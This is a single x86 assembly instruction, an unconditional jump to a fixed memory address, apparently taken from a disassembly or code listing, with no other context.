jmp 0x41d65a